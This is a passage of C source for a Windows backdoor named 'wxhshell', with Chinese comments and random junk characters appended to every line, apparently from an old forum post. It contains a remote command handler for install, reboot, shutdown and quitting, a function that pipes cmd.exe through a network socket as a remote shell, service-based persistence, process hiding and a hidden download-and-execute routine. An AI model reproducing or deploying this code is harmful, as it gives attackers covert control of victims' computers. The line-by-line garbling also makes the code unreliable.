  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q6bi{L@/R  
  } ;PCnEs  
  else { 9]<p  
i,r O3J n  
    switch(cmd[0]) { z#ab V1 Xi  
  P"Lk(gY  
  // 帮助 wzVx16Rvc  
  case '?': { {Fs}8\z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bi;D d?.  
    break; t~H'Ugv^  
  } j]U sb_7  
  // 安装 [fx1H~T<  
  case 'i': { }TY}sr  
    if(Install()) b#`XmB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VkTdpeBV  
    else *1"xvle  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NRN3*YGo  
    break; 9 js!gJC  
    } x' >Nz{B,P  
  // 卸载 o=}}hE\H  
  case 'r': { a"SH_+T{  
    if(Uninstall()) 2~dUnskyy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {; #u~e(W  
    else H=Scrvfx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?'H 7cFR  
    break; )hs"P%Zg  
    } ;\ ^'}S|3Z  
  // 显示 wxhshell 所在路径 Dk8 O*B   
  case 'p': { eG&\b-%  
    char svExeFile[MAX_PATH]; d3-F?i 5d  
    strcpy(svExeFile,"\n\r"); *`2.WF@E)  
      strcat(svExeFile,ExeFile); =lT~  
        send(wsh,svExeFile,strlen(svExeFile),0); HK&Ul=^VN|  
    break; ,cZhkXd  
    } l/1u>'  
  // 重启 GKT2x '(e  
  case 'b': { QZ?#ixvJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K.)ionb  
    if(Boot(REBOOT)) uu ahR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p)6!GdT  
    else { R= ,jqW<  
    closesocket(wsh); Z6s-n$dSm  
    ExitThread(0); w0qrh\3du  
    } `EKmp|B_p_  
    break; ~puXZCatN  
    } b3R1L|@  
  // 关机 I><B6pIR  
  case 'd': { G"k.sRKu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ha[c<e]uo[  
    if(Boot(SHUTDOWN)) qE B3Y54+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e_RLKFv7  
    else { 4/KGrY! ck  
    closesocket(wsh); 4'3do>!  
    ExitThread(0); loRT+u$&  
    } H<_BnT #  
    break; dbn9t7'{  
    } L\0;)eJ#M  
  // 获取shell  N>ncv  
  case 's': { %+ln_lgD:  
    CmdShell(wsh); ot\  FZ  
    closesocket(wsh); ;f;A"  
    ExitThread(0); F1_s%&  
    break; w O H{L  
  } 0s9-`nHen|  
  // 退出 o>|&k]W/  
  case 'x': { g)?Ol  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D5Zgi!  
    CloseIt(wsh); yS#)F.  
    break; I0iTa99K  
    } LR:PSgy  
  // 离开 -M]B;[^  
  case 'q': { $Lj~ge3#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >+ ,w2m@0  
    closesocket(wsh); uqz HS>GM  
    WSACleanup(); rU6F$I=  
    exit(1); Cws;6i*=@  
    break; s!k7Wwj  
        } \r %y^G  
  } G^r`)ND  
  } PP*6nW8  
x[?N[>uw  
  // 提示信息 [U5@m]>^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JJ:pA_uX  
} KA $jG{ yq  
  } rX7GVg@H  
5D]3I=kj  
  return; ak,KHA6u  
} I+oe{#:.  
oX=dJJ E  
// shell模块句柄 _+!@c6k)ra  
int CmdShell(SOCKET sock) (Q5rOrA"  
{ 9sP;s^#t7U  
STARTUPINFO si; 9Lus,l\  
ZeroMemory(&si,sizeof(si)); :g%hT$,]3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WCNycH+1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zA%YaekJ  
PROCESS_INFORMATION ProcessInfo; 2[Ofa(mkkp  
char cmdline[]="cmd"; sKy3('5;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <OH{7>V  
  return 0; WCTmf8f  
} e{Q;,jsh  
ai7R@~O:_k  
// 自身启动模式 "D\>oFu  
int StartFromService(void) BGd# \2  
{ Bd'X~Vj<  
typedef struct ?"F9~vx&G  
{ ol0i^d*9F  
  DWORD ExitStatus; ^ps6\>=0cW  
  DWORD PebBaseAddress; &Fiesi!tET  
  DWORD AffinityMask; 7vo8lnQ{  
  DWORD BasePriority; 4,,DA2^!  
  ULONG UniqueProcessId; %p48=|+  
  ULONG InheritedFromUniqueProcessId; H(hE;|q/  
}   PROCESS_BASIC_INFORMATION; i:a*6b.U@N  
zif&;)wV/  
PROCNTQSIP NtQueryInformationProcess; c"O4=[N: ;  
a(J@]X>'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dhX$b!DA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S j ly]  
 /!#A'#Z  
  HANDLE             hProcess; O~Jm<  
  PROCESS_BASIC_INFORMATION pbi; u^O!5 'D%  
X-=4Z9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3F?7oMNIh  
  if(NULL == hInst ) return 0; 0BwxPD#6bv  
p4F%FS:`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xH\!j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eJ*u]GH U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t$Bu<frQ  
q+znb'i-x  
  if (!NtQueryInformationProcess) return 0; 8(Cs<C!  
KqN;a i,F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4U8N7  
  if(!hProcess) return 0; eRqPZb"6MR  
J$W4AT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T@Bu Fr`]<  
_Sg"|g  
  CloseHandle(hProcess); gSa!zQN6  
{#.<hPXn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M }! qH.W  
if(hProcess==NULL) return 0; |KR8=-!7  
lak,lDt]  
HMODULE hMod; %[4u #G`  
char procName[255]; \.aKxj5  
unsigned long cbNeeded; 4tEAi4H|`@  
NXk~o!D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F pT$D  
)Q 5 x%  
  CloseHandle(hProcess); dWx@<(`OC  
.L9g*q/}  
if(strstr(procName,"services")) return 1; // 以服务启动 HUAbq }  
3(Ns1/;?,  
  return 0; // 注册表启动 )oALB vX  
} 5hHLC7tT9  
3ey.r%n  
// 主模块 .=)[S5.BVq  
int StartWxhshell(LPSTR lpCmdLine) abAw#XQ8  
{ RWRqu }a  
  SOCKET wsl; sf0\#Q  
BOOL val=TRUE; W ]$/qyc&J  
  int port=0; .Y|wG<E  
  struct sockaddr_in door; n0LNAhM  
h<Ct[46,S  
  if(wscfg.ws_autoins) Install(); ? 'qyI^m@  
v, CWE  
port=atoi(lpCmdLine); xk  
`W>Sss  
if(port<=0) port=wscfg.ws_port; TCFr-*x  
(q0vql  
  WSADATA data; +1a3^A\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M&jlUr&l  
]h#QA;   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T, +=ka$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  &1f3e  
  door.sin_family = AF_INET; v}J0j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fP[S.7F+No  
  door.sin_port = htons(port); F [Lg,}  
1 0zw}1x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K^6d_b&  
closesocket(wsl); ~F53{qxV  
return 1; l}iQ0v@  
} &"?99E>  
=it@U/  
  if(listen(wsl,2) == INVALID_SOCKET) { jXVvVv  
closesocket(wsl); qqJghV$Oj  
return 1; M}j[{wW3  
} JljCI@  
  Wxhshell(wsl); q9H\ $  
  WSACleanup(); 8f<y~L_(`  
1 +s;a]-C  
return 0; !MrQ-B(  
bEB2q\|Je  
} ie11syhV"  
Y]_$+Si:NK  
// 以NT服务方式启动 |g >Q3E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )+"5($~  
{ n=PfV3B  
DWORD   status = 0; u(fZ^  
  DWORD   specificError = 0xfffffff; u|Oc+qA(  
Yg?BcY\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P^# 4m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y]*&\Ex"\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j /_&]6!  
  serviceStatus.dwWin32ExitCode     = 0; C0K: ffv;<  
  serviceStatus.dwServiceSpecificExitCode = 0; Fg 8lX9L  
  serviceStatus.dwCheckPoint       = 0; ^Vhl@  
  serviceStatus.dwWaitHint       = 0; CPL,QVO9  
&S`g&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3A{)C_1a  
  if (hServiceStatusHandle==0) return; #?k</~s6M`  
|d z2Drc  
status = GetLastError(); 0WfnX>(C7R  
  if (status!=NO_ERROR) eM 5#L,Y{  
{ Vhh=GJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2X[oge0@  
    serviceStatus.dwCheckPoint       = 0; eX>*}pI  
    serviceStatus.dwWaitHint       = 0; AAs&P+;  
    serviceStatus.dwWin32ExitCode     = status; ByuBZ!m  
    serviceStatus.dwServiceSpecificExitCode = specificError; &XdTY +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q-!gO  
    return; hkyO_ns  
  }  VM:|I~gJ  
 }JWkV1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mo<q(_ZeRP  
  serviceStatus.dwCheckPoint       = 0; c_CVZR?  
  serviceStatus.dwWaitHint       = 0; g~b$WV%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @ZjO#%Ep/  
} $=Ns7Sbup  
zd)QCq  
// 处理NT服务事件,比如:启动、停止 \EU^`o+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \@yJbhk  
{ w[\rS`J  
switch(fdwControl) w3"L5;oH  
{ `Oi#`lC\  
case SERVICE_CONTROL_STOP: A)4XQF  
  serviceStatus.dwWin32ExitCode = 0; *Ti"8^`6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mhX66R  
  serviceStatus.dwCheckPoint   = 0; Q xA( *1  
  serviceStatus.dwWaitHint     = 0; 83I 5n&)  
  { %k32:qe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AD^I1 ]2f  
  } oPF]]Imu  
  return; 5y 5Dn!`  
case SERVICE_CONTROL_PAUSE: $|@vmv0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m(?{#aaq  
  break; b- e  
case SERVICE_CONTROL_CONTINUE: W1M322]>L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i721(1  
  break; $i6z)]rjg  
case SERVICE_CONTROL_INTERROGATE: G'p322Bu  
  break; ~@Q ]@8Tv\  
}; xpO;V}M|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;@Fb>l BhX  
} 4p-"1 c$  
/gl8w-6  
// 标准应用程序主函数 0^dYu /i5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |6b~c{bt  
{ qB,0(I1-!  
zRD-[Z/-  
// 获取操作系统版本 >$9}"  
OsIsNt=GetOsVer(); b}ya9tCl;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >p@b$po  
wBwTJCX  
  // 从命令行安装 KK #E qJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9( q(;|;Hp  
#T2J +  
  // 下载执行文件 1%*\*z  
if(wscfg.ws_downexe) { @y~kQ5k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 /t';  
  WinExec(wscfg.ws_filenam,SW_HIDE); Uavl%Q  
} PU,$YPrZ  
8{/.1:  
if(!OsIsNt) { D>7J[ Yxg-  
// 如果时win9x,隐藏进程并且设置为注册表启动 J{prI;]K  
HideProc(); (YYg-@IO  
StartWxhshell(lpCmdLine); GVJ||0D  
} OR!W3 @  
else ![_0GFbT  
  if(StartFromService()) xQDQgvwa  
  // 以服务方式启动 HnKgD:  
  StartServiceCtrlDispatcher(DispatchTable); _fu <`|kc  
else bKGX> %-  
  // 普通方式启动 ;s{' cN[.  
  StartWxhshell(lpCmdLine); ZK'46lh  
CX{6  
return 0; 9$z$yGjl  
}
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只看该作者 1 发表于: 2006-10-10
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